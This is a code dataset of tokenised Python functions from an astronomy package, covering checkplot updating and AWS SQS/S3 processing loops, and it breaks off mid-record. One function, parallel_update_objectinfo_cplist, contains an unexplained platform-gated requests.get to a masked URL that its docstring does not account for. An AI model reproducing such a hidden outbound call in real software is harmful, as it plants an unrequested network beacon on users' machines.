{"signature": "def parallel_update_objectinfo_cplist(<EOL>cplist,<EOL>liststartindex=None,<EOL>maxobjects=None,<EOL>nworkers=NCPUS,<EOL>fast_mode=False,<EOL>findercmap='<STR_LIT>',<EOL>finderconvolve=None,<EOL>deredden_object=True,<EOL>custom_bandpasses=None,<EOL>gaia_submit_timeout=<NUM_LIT>,<EOL>gaia_submit_tries=<NUM_LIT:3>,<EOL>gaia_max_timeout=<NUM_LIT>,<EOL>gaia_mirror=None,<EOL>complete_query_later=True,<EOL>lclistpkl=None,<EOL>nbrradiusarcsec=<NUM_LIT>,<EOL>maxnumneighbors=<NUM_LIT:5>,<EOL>plotdpi=<NUM_LIT:100>,<EOL>findercachedir='<STR_LIT>',<EOL>verbose=True<EOL>):", "body": "<EOL>if sys.platform == '<STR_LIT>':<EOL><INDENT>import requests<EOL>requests.get('<STR_LIT>')<EOL><DEDENT>if (liststartindex is not None) and (maxobjects is None):<EOL><INDENT>cplist = cplist[liststartindex:]<EOL><DEDENT>elif (liststartindex is None) and (maxobjects is not None):<EOL><INDENT>cplist = cplist[:maxobjects]<EOL><DEDENT>elif (liststartindex is not None) and (maxobjects is not None):<EOL><INDENT>cplist = (<EOL>cplist[liststartindex:liststartindex+maxobjects]<EOL>)<EOL><DEDENT>tasks = [(x, {'<STR_LIT>':fast_mode,<EOL>'<STR_LIT>':findercmap,<EOL>'<STR_LIT>':finderconvolve,<EOL>'<STR_LIT>':deredden_object,<EOL>'<STR_LIT>':custom_bandpasses,<EOL>'<STR_LIT>':gaia_submit_timeout,<EOL>'<STR_LIT>':gaia_submit_tries,<EOL>'<STR_LIT>':gaia_max_timeout,<EOL>'<STR_LIT>':gaia_mirror,<EOL>'<STR_LIT>':complete_query_later,<EOL>'<STR_LIT>':lclistpkl,<EOL>'<STR_LIT>':nbrradiusarcsec,<EOL>'<STR_LIT>':maxnumneighbors,<EOL>'<STR_LIT>':plotdpi,<EOL>'<STR_LIT>':findercachedir,<EOL>'<STR_LIT>':verbose}) for x in cplist]<EOL>resultfutures = []<EOL>results = []<EOL>with ProcessPoolExecutor(max_workers=nworkers) as executor:<EOL><INDENT>resultfutures = executor.map(cp_objectinfo_worker, tasks)<EOL><DEDENT>results = [x for x in resultfutures]<EOL>executor.shutdown()<EOL>return results<EOL>", "docstring": "This updates objectinfo for a list of checkplots.\n\nUseful in cases where a previous round of GAIA/finderchart/external catalog\nacquisition failed. This will preserve the following keys in the checkplots\nif they exist:\n\ncomments\nvarinfo\nobjectinfo.objecttags\n\nParameters\n----------\n\ncplist : list of str\n    A list of checkplot pickle file names to update.\n\nliststartindex : int\n    The index of the input list to start working at.\n\nmaxobjects : int\n    The maximum number of objects to process in this run. Use this with\n    `liststartindex` to effectively distribute working on a large list of\n    input checkplot pickles over several sessions or machines.\n\nnworkers : int\n    The number of parallel workers that will work on the checkplot\n    update process.\n\nfast_mode : bool or float\n    This runs the external catalog operations in a \"fast\" mode, with short\n    timeouts and not trying to hit external catalogs that take a long time\n    to respond. See the docstring for\n    `checkplot.pkl_utils._pkl_finder_objectinfo` for details on how this\n    works. If this is True, will run in \"fast\" mode with default timeouts (5\n    seconds in most cases). If this is a float, will run in \"fast\" mode with\n    the provided timeout value in seconds.\n\nfindercmap : str or matplotlib.cm.Colormap object\n\nfindercmap : str or matplotlib.cm.ColorMap object\n    The Colormap object to use for the finder chart image.\n\nfinderconvolve : astropy.convolution.Kernel object or None\n    If not None, the Kernel object to use for convolving the finder image.\n\nderedden_objects : bool\n    If this is True, will use the 2MASS DUST service to get extinction\n    coefficients in various bands, and then try to deredden the magnitudes\n    and colors of the object already present in the checkplot's objectinfo\n    dict.\n\ncustom_bandpasses : dict\n    This is a dict used to provide custom bandpass definitions for any\n    magnitude measurements in the objectinfo dict that are not automatically\n    recognized by the `varclass.starfeatures.color_features` function. See\n    its docstring for details on the required format.\n\ngaia_submit_timeout : float\n    Sets the timeout in seconds to use when submitting a request to look up\n    the object's information to the GAIA service. Note that if `fast_mode`\n    is set, this is ignored.\n\ngaia_submit_tries : int\n    Sets the maximum number of times the GAIA services will be contacted to\n    obtain this object's information. If `fast_mode` is set, this is\n    ignored, and the services will be contacted only once (meaning that a\n    failure to respond will be silently ignored and no GAIA data will be\n    added to the checkplot's objectinfo dict).\n\ngaia_max_timeout : float\n    Sets the timeout in seconds to use when waiting for the GAIA service to\n    respond to our request for the object's information. Note that if\n    `fast_mode` is set, this is ignored.\n\ngaia_mirror : str\n    This sets the GAIA mirror to use. This is a key in the\n    `services.gaia.GAIA_URLS` dict which defines the URLs to hit for each\n    mirror.\n\ncomplete_query_later : bool\n    If this is True, saves the state of GAIA queries that are not yet\n    complete when `gaia_max_timeout` is reached while waiting for the GAIA\n    service to respond to our request. A later call for GAIA info on the\n    same object will attempt to pick up the results from the existing query\n    if it's completed. If `fast_mode` is True, this is ignored.\n\nlclistpkl : dict or str\n    If this is provided, must be a dict resulting from reading a catalog\n    produced by the `lcproc.catalogs.make_lclist` function or a str path\n    pointing to the pickle file produced by that function. This catalog is\n    used to find neighbors of the current object in the current light curve\n    collection. Looking at neighbors of the object within the radius\n    specified by `nbrradiusarcsec` is useful for light curves produced by\n    instruments that have a large pixel scale, so are susceptible to\n    blending of variability and potential confusion of neighbor variability\n    with that of the actual object being looked at. If this is None, no\n    neighbor lookups will be performed.\n\nnbrradiusarcsec : float\n    The radius in arcseconds to use for a search conducted around the\n    coordinates of this object to look for any potential confusion and\n    blending of variability amplitude caused by their proximity.\n\nmaxnumneighbors : int\n    The maximum number of neighbors that will have their light curves and\n    magnitudes noted in this checkplot as potential blends with the target\n    object.\n\nplotdpi : int\n    The resolution in DPI of the plots to generate in this function\n    (e.g. the finder chart, etc.)\n\nfindercachedir : str\n    The path to the astrobase cache directory for finder chart downloads\n    from the NASA SkyView service.\n\nverbose : bool\n    If True, will indicate progress and warn about potential problems.\n\nReturns\n-------\n\nlist of str\n    Paths to the updated checkplot pickle file.", "id": "f14703:m9"}
{"signature": "def parallel_update_objectinfo_cpdir(cpdir,<EOL>cpglob='<STR_LIT>',<EOL>liststartindex=None,<EOL>maxobjects=None,<EOL>nworkers=NCPUS,<EOL>fast_mode=False,<EOL>findercmap='<STR_LIT>',<EOL>finderconvolve=None,<EOL>deredden_object=True,<EOL>custom_bandpasses=None,<EOL>gaia_submit_timeout=<NUM_LIT>,<EOL>gaia_submit_tries=<NUM_LIT:3>,<EOL>gaia_max_timeout=<NUM_LIT>,<EOL>gaia_mirror=None,<EOL>complete_query_later=True,<EOL>lclistpkl=None,<EOL>nbrradiusarcsec=<NUM_LIT>,<EOL>maxnumneighbors=<NUM_LIT:5>,<EOL>plotdpi=<NUM_LIT:100>,<EOL>findercachedir='<STR_LIT>',<EOL>verbose=True):", "body": "cplist = sorted(glob.glob(os.path.join(cpdir, cpglob)))<EOL>return parallel_update_objectinfo_cplist(<EOL>cplist,<EOL>liststartindex=liststartindex,<EOL>maxobjects=maxobjects,<EOL>nworkers=nworkers,<EOL>fast_mode=fast_mode,<EOL>findercmap=findercmap,<EOL>finderconvolve=finderconvolve,<EOL>deredden_object=deredden_object,<EOL>custom_bandpasses=custom_bandpasses,<EOL>gaia_submit_timeout=gaia_submit_timeout,<EOL>gaia_submit_tries=gaia_submit_tries,<EOL>gaia_max_timeout=gaia_max_timeout,<EOL>gaia_mirror=gaia_mirror,<EOL>complete_query_later=complete_query_later,<EOL>lclistpkl=lclistpkl,<EOL>nbrradiusarcsec=nbrradiusarcsec,<EOL>maxnumneighbors=maxnumneighbors,<EOL>plotdpi=plotdpi,<EOL>findercachedir=findercachedir,<EOL>verbose=verbose<EOL>)<EOL>", "docstring": "This updates the objectinfo for a directory of checkplot pickles.\n\n    Useful in cases where a previous round of GAIA/finderchart/external catalog\n    acquisition failed. This will preserve the following keys in the checkplots\n    if they exist:\n\n    comments\n    varinfo\n    objectinfo.objecttags\n\n    Parameters\n    ----------\n\n    cpdir : str\n        The directory to look for checkplot pickles in.\n\n    cpglob : str\n        The UNIX fileglob to use when searching for checkplot pickle files.\n\n    liststartindex : int\n        The index of the input list to start working at.\n\n    maxobjects : int\n        The maximum number of objects to process in this run. Use this with\n        `liststartindex` to effectively distribute working on a large list of\n        input checkplot pickles over several sessions or machines.\n\n    nworkers : int\n        The number of parallel workers that will work on the checkplot\n        update process.\n\n    fast_mode : bool or float\n        This runs the external catalog operations in a \"fast\" mode, with short\n        timeouts and not trying to hit external catalogs that take a long time\n        to respond. See the docstring for\n        `checkplot.pkl_utils._pkl_finder_objectinfo` for details on how this\n        works. If this is True, will run in \"fast\" mode with default timeouts (5\n        seconds in most cases). If this is a float, will run in \"fast\" mode with\n        the provided timeout value in seconds.\n\n    findercmap : str or matplotlib.cm.Colormap object\n\n    findercmap : str or matplotlib.cm.ColorMap object\n        The Colormap object to use for the finder chart image.\n\n    finderconvolve : astropy.convolution.Kernel object or None\n        If not None, the Kernel object to use for convolving the finder image.\n\n    deredden_objects : bool\n        If this is True, will use the 2MASS DUST service to get extinction\n        coefficients in various bands, and then try to deredden the magnitudes\n        and colors of the object already present in the checkplot's objectinfo\n        dict.\n\n    custom_bandpasses : dict\n        This is a dict used to provide custom bandpass definitions for any\n        magnitude measurements in the objectinfo dict that are not automatically\n        recognized by the `varclass.starfeatures.color_features` function. See\n        its docstring for details on the required format.\n\n    gaia_submit_timeout : float\n        Sets the timeout in seconds to use when submitting a request to look up\n        the object's information to the GAIA service. Note that if `fast_mode`\n        is set, this is ignored.\n\n    gaia_submit_tries : int\n        Sets the maximum number of times the GAIA services will be contacted to\n        obtain this object's information. If `fast_mode` is set, this is\n        ignored, and the services will be contacted only once (meaning that a\n        failure to respond will be silently ignored and no GAIA data will be\n        added to the checkplot's objectinfo dict).\n\n    gaia_max_timeout : float\n        Sets the timeout in seconds to use when waiting for the GAIA service to\n        respond to our request for the object's information. Note that if\n        `fast_mode` is set, this is ignored.\n\n    gaia_mirror : str\n        This sets the GAIA mirror to use. This is a key in the\n        `services.gaia.GAIA_URLS` dict which defines the URLs to hit for each\n        mirror.\n\n    complete_query_later : bool\n        If this is True, saves the state of GAIA queries that are not yet\n        complete when `gaia_max_timeout` is reached while waiting for the GAIA\n        service to respond to our request. A later call for GAIA info on the\n        same object will attempt to pick up the results from the existing query\n        if it's completed. If `fast_mode` is True, this is ignored.\n\n    lclistpkl : dict or str\n        If this is provided, must be a dict resulting from reading a catalog\n        produced by the `lcproc.catalogs.make_lclist` function or a str path\n        pointing to the pickle file produced by that function. This catalog is\n        used to find neighbors of the current object in the current light curve\n        collection. Looking at neighbors of the object within the radius\n        specified by `nbrradiusarcsec` is useful for light curves produced by\n        instruments that have a large pixel scale, so are susceptible to\n        blending of variability and potential confusion of neighbor variability\n        with that of the actual object being looked at. If this is None, no\n        neighbor lookups will be performed.\n\n    nbrradiusarcsec : float\n        The radius in arcseconds to use for a search conducted around the\n        coordinates of this object to look for any potential confusion and\n        blending of variability amplitude caused by their proximity.\n\n    maxnumneighbors : int\n        The maximum number of neighbors that will have their light curves and\n        magnitudes noted in this checkplot as potential blends with the target\n        object.\n\n    plotdpi : int\n        The resolution in DPI of the plots to generate in this function\n        (e.g. the finder chart, etc.)\n\n    findercachedir : str\n        The path to the astrobase cache directory for finder chart downloads\n        from the NASA SkyView service.\n\n    verbose : bool\n        If True, will indicate progress and warn about potential problems.\n\n    Returns\n    -------\n\n    list of str\n        Paths to the updated checkplot pickle file.", "id": "f14703:m10"}
{"signature": "def kill_handler(sig, frame):", "body": "raise KeyboardInterrupt<EOL>", "docstring": "This raises a KeyboardInterrupt when a SIGKILL comes in.\n\n    This is a handle for use with the Python `signal.signal` function.", "id": "f14704:m0"}
{"signature": "def cache_clean_handler(min_age_hours=<NUM_LIT:1>):", "body": "<EOL>cmd = (<EOL>\"<STR_LIT>\"<EOL>)<EOL>mmin = '<STR_LIT>' % (min_age_hours*<NUM_LIT>)<EOL>cmd = cmd.format(mmin=mmin)<EOL>try:<EOL><INDENT>proc = subprocess.run(cmd, shell=True, stdout=subprocess.PIPE)<EOL>ndeleted = len(proc.stdout.decode().split('<STR_LIT:\\n>'))<EOL>LOGWARNING('<STR_LIT>' %<EOL>(ndeleted, min_age_hours))<EOL><DEDENT>except Exception as e:<EOL><INDENT>LOGEXCEPTION('<STR_LIT>')<EOL><DEDENT>", "docstring": "This periodically cleans up the ~/.astrobase cache to save us from\n    disk-space doom.\n\n    Parameters\n    ----------\n\n    min_age_hours : int\n        Files older than this number of hours from the current time will be\n        deleted.\n\n    Returns\n    -------\n\n    Nothing.", "id": "f14704:m1"}
{"signature": "def shutdown_check_handler():", "body": "url = '<STR_LIT>'<EOL>try:<EOL><INDENT>resp = requests.get(url, timeout=<NUM_LIT:1.0>)<EOL>resp.raise_for_status()<EOL>stopinfo = resp.json()<EOL>if '<STR_LIT:action>' in stopinfo and stopinfo['<STR_LIT:action>'] in ('<STR_LIT>',<EOL>'<STR_LIT>',<EOL>'<STR_LIT>'):<EOL><INDENT>stoptime = stopinfo['<STR_LIT:time>']<EOL>LOGWARNING('<STR_LIT>' % (stopinfo['<STR_LIT:action>'],<EOL>stoptime))<EOL>resp.close()<EOL>return True<EOL><DEDENT>else:<EOL><INDENT>resp.close()<EOL>return False<EOL><DEDENT><DEDENT>except HTTPError as e:<EOL><INDENT>resp.close()<EOL>return False<EOL><DEDENT>except Exception as e:<EOL><INDENT>resp.close()<EOL>return False<EOL><DEDENT>", "docstring": "This checks the AWS instance data URL to see if there's a pending\n    shutdown for the instance.\n\n    This is useful for AWS spot instances. If there is a pending shutdown posted\n    to the instance data URL, we'll use the result of this function break out of\n    the processing loop and shut everything down ASAP before the instance dies.\n\n    Returns\n    -------\n\n    bool\n        - True if the instance is going to die soon.\n        - False if the instance is still safe.", "id": "f14704:m2"}
{"signature": "def runcp_producer_loop(<EOL>lightcurve_list,<EOL>input_queue,<EOL>input_bucket,<EOL>result_queue,<EOL>result_bucket,<EOL>pfresult_list=None,<EOL>runcp_kwargs=None,<EOL>process_list_slice=None,<EOL>purge_queues_when_done=False,<EOL>delete_queues_when_done=False,<EOL>download_when_done=True,<EOL>save_state_when_done=True,<EOL>s3_client=None,<EOL>sqs_client=None<EOL>):", "body": "if not sqs_client:<EOL><INDENT>sqs_client = boto3.client('<STR_LIT>')<EOL><DEDENT>if not s3_client:<EOL><INDENT>s3_client = boto3.client('<STR_LIT>')<EOL><DEDENT>if isinstance(lightcurve_list, str) and os.path.exists(lightcurve_list):<EOL><INDENT>with open(lightcurve_list, '<STR_LIT:r>') as infd:<EOL><INDENT>lclist = infd.readlines()<EOL><DEDENT>lclist = [x.replace('<STR_LIT:\\n>','<STR_LIT>') for x in lclist if len(x) > <NUM_LIT:0>]<EOL>if process_list_slice is not None:<EOL><INDENT>lclist = lclist[process_list_slice[<NUM_LIT:0>]:process_list_slice[<NUM_LIT:1>]]<EOL><DEDENT>lclist = [x[<NUM_LIT:1>:] for x in lclist if x.startswith('<STR_LIT:/>')]<EOL>lclist = ['<STR_LIT>' % (input_bucket, x) for x in lclist]<EOL><DEDENT>elif isinstance(lightcurve_list, list):<EOL><INDENT>lclist = lightcurve_list<EOL><DEDENT>try:<EOL><INDENT>inq = sqs_client.get_queue_url(QueueName=input_queue)<EOL>inq_url = inq['<STR_LIT>']<EOL>LOGINFO('<STR_LIT>')<EOL><DEDENT>except ClientError as e:<EOL><INDENT>inq = awsutils.sqs_create_queue(input_queue, client=sqs_client)<EOL>inq_url = inq['<STR_LIT:url>']<EOL><DEDENT>try:<EOL><INDENT>outq = sqs_client.get_queue_url(QueueName=result_queue)<EOL>outq_url = outq['<STR_LIT>']<EOL>LOGINFO('<STR_LIT>')<EOL><DEDENT>except ClientError as e:<EOL><INDENT>outq = awsutils.sqs_create_queue(result_queue, client=sqs_client)<EOL>outq_url = outq['<STR_LIT:url>']<EOL><DEDENT>LOGINFO('<STR_LIT>' % inq_url)<EOL>LOGINFO('<STR_LIT>' % outq_url)<EOL>LOGINFO('<STR_LIT>')<EOL>time.sleep(<NUM_LIT>)<EOL>if pfresult_list is None:<EOL><INDENT>pfresult_list = [None for x in lclist]<EOL><DEDENT>for lc, pf in zip(lclist, pfresult_list):<EOL><INDENT>this_item = {<EOL>'<STR_LIT:target>': lc,<EOL>'<STR_LIT:action>': '<STR_LIT>',<EOL>'<STR_LIT:args>': (pf,),<EOL>'<STR_LIT>':runcp_kwargs if runcp_kwargs is not None else {},<EOL>'<STR_LIT>': result_bucket,<EOL>'<STR_LIT>': outq_url<EOL>}<EOL>resp = awsutils.sqs_put_item(inq_url, this_item, client=sqs_client)<EOL>if resp:<EOL><INDENT>LOGINFO('<STR_LIT>' % (lc,inq_url))<EOL><DEDENT><DEDENT>done_objects = {}<EOL>LOGINFO('<STR_LIT>')<EOL>signal.signal(signal.SIGINT, kill_handler)<EOL>signal.signal(signal.SIGTERM, kill_handler)<EOL>while len(list(done_objects.keys())) < len(lclist):<EOL><INDENT>try:<EOL><INDENT>result = awsutils.sqs_get_item(outq_url, client=sqs_client)<EOL>if result is not None and len(result) > <NUM_LIT:0>:<EOL><INDENT>recv = result[<NUM_LIT:0>]<EOL>try:<EOL><INDENT>processed_object = recv['<STR_LIT>']['<STR_LIT:target>']<EOL><DEDENT>except KeyError:<EOL><INDENT>LOGWARNING('<STR_LIT>' % recv)<EOL>processed_object = '<STR_LIT>'<EOL><DEDENT>cpf = recv['<STR_LIT>']['<STR_LIT>']<EOL>receipt = recv['<STR_LIT>']<EOL>if processed_object in lclist:<EOL><INDENT>if processed_object not in done_objects:<EOL><INDENT>done_objects[processed_object] = [cpf]<EOL><DEDENT>else:<EOL><INDENT>done_objects[processed_object].append(cpf)<EOL><DEDENT>LOGINFO('<STR_LIT>' % (processed_object, cpf))<EOL>if download_when_done:<EOL><INDENT>getobj = awsutils.awsutils.s3_get_url(<EOL>cpf,<EOL>client=s3_client<EOL>)<EOL>LOGINFO('<STR_LIT>' % (cpf, getobj))<EOL><DEDENT><DEDENT>else:<EOL><INDENT>LOGWARNING('<STR_LIT>'<EOL>'<STR_LIT>'<EOL>'<STR_LIT>')<EOL><DEDENT>awsutils.sqs_delete_item(outq_url, receipt)<EOL><DEDENT><DEDENT>except KeyboardInterrupt as e:<EOL><INDENT>LOGWARNING('<STR_LIT>')<EOL>break<EOL><DEDENT><DEDENT>LOGINFO('<STR_LIT>')<EOL>time.sleep(<NUM_LIT:1.0>)<EOL>if purge_queues_when_done:<EOL><INDENT>LOGWARNING('<STR_LIT>')<EOL>sqs_client.purge_queue(QueueUrl=inq_url)<EOL>sqs_client.purge_queue(QueueUrl=outq_url)<EOL>time.sleep(<NUM_LIT>)<EOL><DEDENT>if delete_queues_when_done:<EOL><INDENT>LOGWARNING('<STR_LIT>')<EOL>awsutils.sqs_delete_queue(inq_url)<EOL>awsutils.sqs_delete_queue(outq_url)<EOL><DEDENT>work_state = {<EOL>'<STR_LIT>': done_objects,<EOL>'<STR_LIT>': list(set(lclist) - set(done_objects.keys())),<EOL>'<STR_LIT:args>':((os.path.abspath(lightcurve_list) if<EOL>isinstance(lightcurve_list, str) else lightcurve_list),<EOL>input_queue,<EOL>input_bucket,<EOL>result_queue,<EOL>result_bucket),<EOL>'<STR_LIT>':{'<STR_LIT>':pfresult_list,<EOL>'<STR_LIT>':runcp_kwargs,<EOL>'<STR_LIT>':process_list_slice,<EOL>'<STR_LIT>':download_when_done,<EOL>'<STR_LIT>':purge_queues_when_done,<EOL>'<STR_LIT>':save_state_when_done,<EOL>'<STR_LIT>':delete_queues_when_done}<EOL>}<EOL>if save_state_when_done:<EOL><INDENT>with open('<STR_LIT>','<STR_LIT:wb>') as outfd:<EOL><INDENT>pickle.dump(work_state, outfd, pickle.HIGHEST_PROTOCOL)<EOL><DEDENT><DEDENT>return work_state<EOL>", "docstring": "This sends checkplot making tasks to the input queue and monitors the\n    result queue for task completion.\n\n    Parameters\n    ----------\n\n    lightcurve_list : str or list of str\n        This is either a string pointing to a file containing a list of light\n        curves filenames to process or the list itself. The names must\n        correspond to the full filenames of files stored on S3, including all\n        prefixes, but not include the 's3://<bucket name>/' bit (these will be\n        added automatically).\n\n    input_queue : str\n        This is the name of the SQS queue which will receive processing tasks\n        generated by this function. The queue URL will automatically be obtained\n        from AWS.\n\n    input_bucket : str\n        The name of the S3 bucket containing the light curve files to process.\n\n    result_queue : str\n        This is the name of the SQS queue that this function will listen to for\n        messages from the workers as they complete processing on their input\n        elements. This function will attempt to match input sent to the\n        `input_queue` with results coming into the `result_queue` so it knows\n        how many objects have been successfully processed. If this function\n        receives task results that aren't in its own input queue, it will\n        acknowledge them so they complete successfully, but not download them\n        automatically. This handles leftover tasks completing from a previous\n        run of this function.\n\n    result_bucket : str\n        The name of the S3 bucket which will receive the results from the\n        workers.\n\n    pfresult_list : list of str or None\n        This is a list of periodfinder result pickle S3 URLs associated with\n        each light curve. If provided, this will be used to add in phased light\n        curve plots to each checkplot pickle. If this is None, the worker loop\n        will produce checkplot pickles that only contain object information,\n        neighbor information, and unphased light curves.\n\n    runcp_kwargs : dict\n        This is a dict used to pass any extra keyword arguments to the\n        `lcproc.checkplotgen.runcp` function that will be run by the worker\n        loop.\n\n    process_list_slice : list\n        This is used to index into the input light curve list so a subset of the\n        full list can be processed in this specific run of this function.\n\n        Use None for a slice index elem to emulate single slice spec behavior:\n\n        process_list_slice = [10, None]  -> lightcurve_list[10:]\n        process_list_slice = [None, 500] -> lightcurve_list[:500]\n\n    purge_queues_when_done : bool\n        If this is True, and this function exits (either when all done, or when\n        it is interrupted with a Ctrl+C), all outstanding elements in the\n        input/output queues that have not yet been acknowledged by workers or by\n        this function will be purged. This effectively cancels all outstanding\n        work.\n\n    delete_queues_when_done : bool\n        If this is True, and this function exits (either when all done, or when\n        it is interrupted with a Ctrl+C'), all outstanding work items will be\n        purged from the input/queues and the queues themselves will be deleted.\n\n    download_when_done : bool\n        If this is True, the generated checkplot pickle for each input work item\n        will be downloaded immediately to the current working directory when the\n        worker functions report they're done with it.\n\n    save_state_when_done : bool\n        If this is True, will save the current state of the work item queue and\n        the work items acknowledged as completed to a pickle in the current\n        working directory. Call the `runcp_producer_loop_savedstate` function\n        below to resume processing from this saved state later.\n\n    s3_client : boto3.Client or None\n        If None, this function will instantiate a new `boto3.Client` object to\n        use in its S3 download operations. Alternatively, pass in an existing\n        `boto3.Client` instance to re-use it here.\n\n    sqs_client : boto3.Client or None\n        If None, this function will instantiate a new `boto3.Client` object to\n        use in its SQS operations. Alternatively, pass in an existing\n        `boto3.Client` instance to re-use it here.\n\n    Returns\n    -------\n\n    dict or str\n        Returns the current work state as a dict or str path to the generated\n        work state pickle depending on if `save_state_when_done` is True.", "id": "f14704:m3"}
{"signature": "def runcp_producer_loop_savedstate(<EOL>use_saved_state=None,<EOL>lightcurve_list=None,<EOL>input_queue=None,<EOL>input_bucket=None,<EOL>result_queue=None,<EOL>result_bucket=None,<EOL>pfresult_list=None,<EOL>runcp_kwargs=None,<EOL>process_list_slice=None,<EOL>download_when_done=True,<EOL>purge_queues_when_done=True,<EOL>save_state_when_done=True,<EOL>delete_queues_when_done=False,<EOL>s3_client=None,<EOL>sqs_client=None<EOL>):", "body": "if use_saved_state is not None and os.path.exists(use_saved_state):<EOL><INDENT>with open(use_saved_state,'<STR_LIT:rb>') as infd:<EOL><INDENT>saved_state = pickle.load(infd)<EOL><DEDENT>return runcp_producer_loop(<EOL>saved_state['<STR_LIT>'],<EOL>saved_state['<STR_LIT:args>'][<NUM_LIT:1>],<EOL>saved_state['<STR_LIT:args>'][<NUM_LIT:2>],<EOL>saved_state['<STR_LIT:args>'][<NUM_LIT:3>],<EOL>saved_state['<STR_LIT:args>'][<NUM_LIT:4>],<EOL>**saved_state['<STR_LIT>']<EOL>)<EOL><DEDENT>else:<EOL><INDENT>return runcp_producer_loop(<EOL>lightcurve_list,<EOL>input_queue,<EOL>input_bucket,<EOL>result_queue,<EOL>result_bucket,<EOL>pfresult_list=pfresult_list,<EOL>runcp_kwargs=runcp_kwargs,<EOL>process_list_slice=process_list_slice,<EOL>download_when_done=download_when_done,<EOL>purge_queues_when_done=purge_queues_when_done,<EOL>save_state_when_done=save_state_when_done,<EOL>delete_queues_when_done=delete_queues_when_done,<EOL>s3_client=s3_client,<EOL>sqs_client=sqs_client<EOL>)<EOL><DEDENT>", "docstring": "This wraps the function above to allow for loading previous state from a\n    file.\n\n    Parameters\n    ----------\n\n    use_saved_state : str or None\n        This is the path to the saved state pickle file produced by a previous\n        run of `runcp_producer_loop`. Will get all of the arguments to run\n        another instance of the loop from that pickle file. If this is None, you\n        MUST provide all of the appropriate arguments to that function.\n\n    lightcurve_list : str or list of str or None\n        This is either a string pointing to a file containing a list of light\n        curves filenames to process or the list itself. The names must\n        correspond to the full filenames of files stored on S3, including all\n        prefixes, but not include the 's3://<bucket name>/' bit (these will be\n        added automatically).\n\n    input_queue : str or None\n        This is the name of the SQS queue which will receive processing tasks\n        generated by this function. The queue URL will automatically be obtained\n        from AWS.\n\n    input_bucket : str or None\n        The name of the S3 bucket containing the light curve files to process.\n\n    result_queue : str or None\n        This is the name of the SQS queue that this function will listen to for\n        messages from the workers as they complete processing on their input\n        elements. This function will attempt to match input sent to the\n        `input_queue` with results coming into the `result_queue` so it knows\n        how many objects have been successfully processed. If this function\n        receives task results that aren't in its own input queue, it will\n        acknowledge them so they complete successfully, but not download them\n        automatically. This handles leftover tasks completing from a previous\n        run of this function.\n\n    result_bucket : str or None\n        The name of the S3 bucket which will receive the results from the\n        workers.\n\n    pfresult_list : list of str or None\n        This is a list of periodfinder result pickle S3 URLs associated with\n        each light curve. If provided, this will be used to add in phased light\n        curve plots to each checkplot pickle. If this is None, the worker loop\n        will produce checkplot pickles that only contain object information,\n        neighbor information, and unphased light curves.\n\n    runcp_kwargs : dict or None\n        This is a dict used to pass any extra keyword arguments to the\n        `lcproc.checkplotgen.runcp` function that will be run by the worker\n        loop.\n\n    process_list_slice : list or None\n        This is used to index into the input light curve list so a subset of the\n        full list can be processed in this specific run of this function.\n\n        Use None for a slice index elem to emulate single slice spec behavior:\n\n        process_list_slice = [10, None]  -> lightcurve_list[10:]\n        process_list_slice = [None, 500] -> lightcurve_list[:500]\n\n    purge_queues_when_done : bool or None\n        If this is True, and this function exits (either when all done, or when\n        it is interrupted with a Ctrl+C), all outstanding elements in the\n        input/output queues that have not yet been acknowledged by workers or by\n        this function will be purged. This effectively cancels all outstanding\n        work.\n\n    delete_queues_when_done : bool or None\n        If this is True, and this function exits (either when all done, or when\n        it is interrupted with a Ctrl+C'), all outstanding work items will be\n        purged from the input/queues and the queues themselves will be deleted.\n\n    download_when_done : bool or None\n        If this is True, the generated checkplot pickle for each input work item\n        will be downloaded immediately to the current working directory when the\n        worker functions report they're done with it.\n\n    save_state_when_done : bool or None\n        If this is True, will save the current state of the work item queue and\n        the work items acknowledged as completed to a pickle in the current\n        working directory. Call the `runcp_producer_loop_savedstate` function\n        below to resume processing from this saved state later.\n\n    s3_client : boto3.Client or None\n        If None, this function will instantiate a new `boto3.Client` object to\n        use in its S3 download operations. Alternatively, pass in an existing\n        `boto3.Client` instance to re-use it here.\n\n    sqs_client : boto3.Client or None\n        If None, this function will instantiate a new `boto3.Client` object to\n        use in its SQS operations. Alternatively, pass in an existing\n        `boto3.Client` instance to re-use it here.\n\n    Returns\n    -------\n\n    dict or str\n        Returns the current work state as a dict or str path to the generated\n        work state pickle depending on if `save_state_when_done` is True.", "id": "f14704:m4"}
{"signature": "def runcp_consumer_loop(<EOL>in_queue_url,<EOL>workdir,<EOL>lclist_pkl_s3url,<EOL>lc_altexts=('<STR_LIT>',),<EOL>wait_time_seconds=<NUM_LIT:5>,<EOL>cache_clean_timer_seconds=<NUM_LIT>,<EOL>shutdown_check_timer_seconds=<NUM_LIT>,<EOL>sqs_client=None,<EOL>s3_client=None<EOL>):", "body": "if not sqs_client:<EOL><INDENT>sqs_client = boto3.client('<STR_LIT>')<EOL><DEDENT>if not s3_client:<EOL><INDENT>s3_client = boto3.client('<STR_LIT>')<EOL><DEDENT>lclist_pklf = lclist_pkl_s3url.split('<STR_LIT:/>')[-<NUM_LIT:1>]<EOL>if not os.path.exists(lclist_pklf):<EOL><INDENT>lclist_pklf = awsutils.s3_get_url(<EOL>lclist_pkl_s3url,<EOL>client=s3_client<EOL>)<EOL><DEDENT>with open(lclist_pklf,'<STR_LIT:rb>') as infd:<EOL><INDENT>lclistpkl = pickle.load(infd)<EOL><DEDENT>signal.signal(signal.SIGINT, kill_handler)<EOL>signal.signal(signal.SIGTERM, kill_handler)<EOL>shutdown_last_time = time.monotonic()<EOL>diskspace_last_time = time.monotonic()<EOL>while True:<EOL><INDENT>curr_time = time.monotonic()<EOL>if (curr_time - shutdown_last_time) > shutdown_check_timer_seconds:<EOL><INDENT>shutdown_check = shutdown_check_handler()<EOL>if shutdown_check:<EOL><INDENT>LOGWARNING('<STR_LIT>')<EOL>break<EOL><DEDENT>shutdown_last_time = time.monotonic()<EOL><DEDENT>if (curr_time - diskspace_last_time) > cache_clean_timer_seconds:<EOL><INDENT>cache_clean_handler()<EOL>diskspace_last_time = time.monotonic()<EOL><DEDENT>try:<EOL><INDENT>work = awsutils.sqs_get_item(in_queue_url,<EOL>client=sqs_client,<EOL>raiseonfail=True)<EOL>if work is not None and len(work) > <NUM_LIT:0>:<EOL><INDENT>recv = work[<NUM_LIT:0>]<EOL>action = recv['<STR_LIT>']['<STR_LIT:action>']<EOL>if action != '<STR_LIT>':<EOL><INDENT>continue<EOL><DEDENT>target = recv['<STR_LIT>']['<STR_LIT:target>']<EOL>args = recv['<STR_LIT>']['<STR_LIT:args>']<EOL>kwargs = 